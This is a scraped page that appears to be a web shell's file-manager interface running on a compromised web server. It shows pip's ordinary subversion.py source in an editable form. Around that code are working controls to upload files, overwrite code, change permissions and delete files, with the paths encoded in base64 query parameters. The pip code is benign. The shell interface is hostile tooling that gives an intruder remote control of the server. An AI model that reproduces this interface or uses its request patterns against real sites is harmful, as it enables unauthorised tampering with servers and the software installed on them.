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<hr>subversion.py<form method=post action="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=c3VidmVyc2lvbi5weQ%3D%3D"><input name="f" value="subversion.py"><textarea name="t">from __future__ import annotations

import logging
import os
import re

from pip._internal.utils.misc import (
    HiddenText,
    display_path,
    is_console_interactive,
    is_installable_dir,
    split_auth_from_netloc,
)
from pip._internal.utils.subprocess import CommandArgs, make_command
from pip._internal.vcs.versioncontrol import (
    AuthInfo,
    RemoteNotFoundError,
    RevOptions,
    VersionControl,
    vcs,
)

logger = logging.getLogger(__name__)

_svn_xml_url_re = re.compile('url=&quot;([^&quot;]+)&quot;')
_svn_rev_re = re.compile(r'committed-rev=&quot;(\d+)&quot;')
_svn_info_xml_rev_re = re.compile(r'\s*revision=&quot;(\d+)&quot;')
_svn_info_xml_url_re = re.compile(r&quot;&lt;url&gt;(.*)&lt;/url&gt;&quot;)


class Subversion(VersionControl):
    name = &quot;svn&quot;
    dirname = &quot;.svn&quot;
    repo_name = &quot;checkout&quot;
    schemes = (&quot;svn+ssh&quot;, &quot;svn+http&quot;, &quot;svn+https&quot;, &quot;svn+svn&quot;, &quot;svn+file&quot;)

    @classmethod
    def should_add_vcs_url_prefix(cls, remote_url: str) -&gt; bool:
        return True

    @staticmethod
    def get_base_rev_args(rev: str) -&gt; list[str]:
        return [&quot;-r&quot;, rev]

    @classmethod
    def get_revision(cls, location: str) -&gt; str:
        &quot;&quot;&quot;
        Return the maximum revision for all files under a given location
        &quot;&quot;&quot;
        # Note: taken from setuptools.command.egg_info
        revision = 0

        for base, dirs, _ in os.walk(location):
            if cls.dirname not in dirs:
                dirs[:] = []
                continue  # no sense walking uncontrolled subdirs
            dirs.remove(cls.dirname)
            entries_fn = os.path.join(base, cls.dirname, &quot;entries&quot;)
            if not os.path.exists(entries_fn):
                # FIXME: should we warn?
                continue

            dirurl, localrev = cls._get_svn_url_rev(base)

            if base == location:
                assert dirurl is not None
                base = dirurl + &quot;/&quot;  # save the root url
            elif not dirurl or not dirurl.startswith(base):
                dirs[:] = []
                continue  # not part of the same svn tree, skip it
            revision = max(revision, localrev)
        return str(revision)

    @classmethod
    def get_netloc_and_auth(
        cls, netloc: str, scheme: str
    ) -&gt; tuple[str, tuple[str | None, str | None]]:
        &quot;&quot;&quot;
        This override allows the auth information to be passed to svn via the
        --username and --password options instead of via the URL.
        &quot;&quot;&quot;
        if scheme == &quot;ssh&quot;:
            # The --username and --password options can't be used for
            # svn+ssh URLs, so keep the auth information in the URL.
            return super().get_netloc_and_auth(netloc, scheme)

        return split_auth_from_netloc(netloc)

    @classmethod
    def get_url_rev_and_auth(cls, url: str) -&gt; tuple[str, str | None, AuthInfo]:
        # hotfix the URL scheme after removing svn+ from svn+ssh:// re-add it
        url, rev, user_pass = super().get_url_rev_and_auth(url)
        if url.startswith(&quot;ssh://&quot;):
            url = &quot;svn+&quot; + url
        return url, rev, user_pass

    @staticmethod
    def make_rev_args(username: str | None, password: HiddenText | None) -&gt; CommandArgs:
        extra_args: CommandArgs = []
        if username:
            extra_args += [&quot;--username&quot;, username]
        if password:
            extra_args += [&quot;--password&quot;, password]

        return extra_args

    @classmethod
    def get_remote_url(cls, location: str) -&gt; str:
        # In cases where the source is in a subdirectory, we have to look up in
        # the location until we find a valid project root.
        orig_location = location
        while not is_installable_dir(location):
            last_location = location
            location = os.path.dirname(location)
            if location == last_location:
                # We've traversed up to the root of the filesystem without
                # finding a Python project.
                logger.warning(
                    &quot;Could not find Python project for directory %s (tried all &quot;
                    &quot;parent directories)&quot;,
                    orig_location,
                )
                raise RemoteNotFoundError

        url, _rev = cls._get_svn_url_rev(location)
        if url is None:
            raise RemoteNotFoundError

        return url

    @classmethod
    def _get_svn_url_rev(cls, location: str) -&gt; tuple[str | None, int]:
        from pip._internal.exceptions import InstallationError

        entries_path = os.path.join(location, cls.dirname, &quot;entries&quot;)
        if os.path.exists(entries_path):
            with open(entries_path) as f:
                data = f.read()
        else:  # subversion &gt;= 1.7 does not have the 'entries' file
            data = &quot;&quot;

        url = None
        if data.startswith((&quot;8&quot;, &quot;9&quot;, &quot;10&quot;)):
            entries = list(map(str.splitlines, data.split(&quot;\n\x0c\n&quot;)))
            del entries[0][0]  # get rid of the '8'
            url = entries[0][3]
            revs = [int(d[9]) for d in entries if len(d) &gt; 9 and d[9]] + [0]
        elif data.startswith(&quot;&lt;?xml&quot;):
            match = _svn_xml_url_re.search(data)
            if not match:
                raise ValueError(f&quot;Badly formatted data: {data!r}&quot;)
            url = match.group(1)  # get repository URL
            revs = [int(m.group(1)) for m in _svn_rev_re.finditer(data)] + [0]
        else:
            try:
                # subversion &gt;= 1.7
                # Note that using get_remote_call_options is not necessary here
                # because `svn info` is being run against a local directory.
                # We don't need to worry about making sure interactive mode
                # is being used to prompt for passwords, because passwords
                # are only potentially needed for remote server requests.
                xml = cls.run_command(
                    [&quot;info&quot;, &quot;--xml&quot;, location],
                    show_stdout=False,
                    stdout_only=True,
                )
                match = _svn_info_xml_url_re.search(xml)
                assert match is not None
                url = match.group(1)
                revs = [int(m.group(1)) for m in _svn_info_xml_rev_re.finditer(xml)]
            except InstallationError:
                url, revs = None, []

        if revs:
            rev = max(revs)
        else:
            rev = 0

        return url, rev

    @classmethod
    def is_commit_id_equal(cls, dest: str, name: str | None) -&gt; bool:
        &quot;&quot;&quot;Always assume the versions don't match&quot;&quot;&quot;
        return False

    def __init__(self, use_interactive: bool | None = None) -&gt; None:
        if use_interactive is None:
            use_interactive = is_console_interactive()
        self.use_interactive = use_interactive

        # This member is used to cache the fetched version of the current
        # ``svn`` client.
        # Special value definitions:
        #   None: Not evaluated yet.
        #   Empty tuple: Could not parse version.
        self._vcs_version: tuple[int, ...] | None = None

        super().__init__()

    def call_vcs_version(self) -&gt; tuple[int, ...]:
        &quot;&quot;&quot;Query the version of the currently installed Subversion client.

        :return: A tuple containing the parts of the version information or
            ``()`` if the version returned from ``svn`` could not be parsed.
        :raises: BadCommand: If ``svn`` is not installed.
        &quot;&quot;&quot;
        # Example versions:
        #   svn, version 1.10.3 (r1842928)
        #      compiled Feb 25 2019, 14:20:39 on x86_64-apple-darwin17.0.0
        #   svn, version 1.7.14 (r1542130)
        #      compiled Mar 28 2018, 08:49:13 on x86_64-pc-linux-gnu
        #   svn, version 1.12.0-SlikSvn (SlikSvn/1.12.0)
        #      compiled May 28 2019, 13:44:56 on x86_64-microsoft-windows6.2
        version_prefix = &quot;svn, version &quot;
        version = self.run_command([&quot;--version&quot;], show_stdout=False, stdout_only=True)
        if not version.startswith(version_prefix):
            return ()

        version = version[len(version_prefix) :].split()[0]
        version_list = version.partition(&quot;-&quot;)[0].split(&quot;.&quot;)
        try:
            parsed_version = tuple(map(int, version_list))
        except ValueError:
            return ()

        return parsed_version

    def get_vcs_version(self) -&gt; tuple[int, ...]:
        &quot;&quot;&quot;Return the version of the currently installed Subversion client.

        If the version of the Subversion client has already been queried,
        a cached value will be used.

        :return: A tuple containing the parts of the version information or
            ``()`` if the version returned from ``svn`` could not be parsed.
        :raises: BadCommand: If ``svn`` is not installed.
        &quot;&quot;&quot;
        if self._vcs_version is not None:
            # Use cached version, if available.
            # If parsing the version failed previously (empty tuple),
            # do not attempt to parse it again.
            return self._vcs_version

        vcs_version = self.call_vcs_version()
        self._vcs_version = vcs_version
        return vcs_version

    def get_remote_call_options(self) -&gt; CommandArgs:
        &quot;&quot;&quot;Return options to be used on calls to Subversion that contact the server.

        These options are applicable for the following ``svn`` subcommands used
        in this class.

            - checkout
            - switch
            - update

        :return: A list of command line arguments to pass to ``svn``.
        &quot;&quot;&quot;
        if not self.use_interactive:
            # --non-interactive switch is available since Subversion 0.14.4.
            # Subversion &lt; 1.8 runs in interactive mode by default.
            return [&quot;--non-interactive&quot;]

        svn_version = self.get_vcs_version()
        # By default, Subversion &gt;= 1.8 runs in non-interactive mode if
        # stdin is not a TTY. Since that is how pip invokes SVN, in
        # call_subprocess(), pip must pass --force-interactive to ensure
        # the user can be prompted for a password, if required.
        #   SVN added the --force-interactive option in SVN 1.8. Since
        # e.g. RHEL/CentOS 7, which is supported until 2024, ships with
        # SVN 1.7, pip should continue to support SVN 1.7. Therefore, pip
        # can't safely add the option if the SVN version is &lt; 1.8 (or unknown).
        if svn_version &gt;= (1, 8):
            return [&quot;--force-interactive&quot;]

        return []

    def fetch_new(
        self, dest: str, url: HiddenText, rev_options: RevOptions, verbosity: int
    ) -&gt; None:
        rev_display = rev_options.to_display()
        logger.info(
            &quot;Checking out %s%s to %s&quot;,
            url,
            rev_display,
            display_path(dest),
        )
        if verbosity &lt;= 0:
            flags = [&quot;--quiet&quot;]
        else:
            flags = []
        cmd_args = make_command(
            &quot;checkout&quot;,
            *flags,
            self.get_remote_call_options(),
            rev_options.to_args(),
            url,
            dest,
        )
        self.run_command(cmd_args)

    def switch(
        self,
        dest: str,
        url: HiddenText,
        rev_options: RevOptions,
        verbosity: int = 0,
    ) -&gt; None:
        cmd_args = make_command(
            &quot;switch&quot;,
            self.get_remote_call_options(),
            rev_options.to_args(),
            url,
            dest,
        )
        self.run_command(cmd_args)

    def update(
        self,
        dest: str,
        url: HiddenText,
        rev_options: RevOptions,
        verbosity: int = 0,
    ) -&gt; None:
        cmd_args = make_command(
            &quot;update&quot;,
            self.get_remote_call_options(),
            rev_options.to_args(),
            dest,
        )
        self.run_command(cmd_args)


vcs.register(Subversion)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /opt/saltstack/salt/lib/python3.10/site-packages/pip/_internal/vcs<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWw="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>596</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNzL19fcHljYWNoZV9f"/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&x=YmF6YWFyLnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=YmF6YWFyLnB5"/>bazaar.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=YmF6YWFyLnB5&c=`+btoa(c):0" value="0644"></td><td>3734</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&x=Z2l0LnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=Z2l0LnB5"/>git.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=Z2l0LnB5&c=`+btoa(c):0" value="0644"></td><td>19144</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&x=bWVyY3VyaWFsLnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=bWVyY3VyaWFsLnB5"/>mercurial.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=bWVyY3VyaWFsLnB5&c=`+btoa(c):0" value="0644"></td><td>5575</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&x=c3VidmVyc2lvbi5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=c3VidmVyc2lvbi5weQ=="/>subversion.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=c3VidmVyc2lvbi5weQ==&c=`+btoa(c):0" value="0644"></td><td>11787</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&x=dmVyc2lvbmNvbnRyb2wucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=dmVyc2lvbmNvbnRyb2wucHk="/>versioncontrol.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BpcC9faW50ZXJuYWwvdmNz&f=dmVyc2lvbmNvbnRyb2wucHk=&c=`+btoa(c):0" value="0644"></td><td>22502</td></tr></table>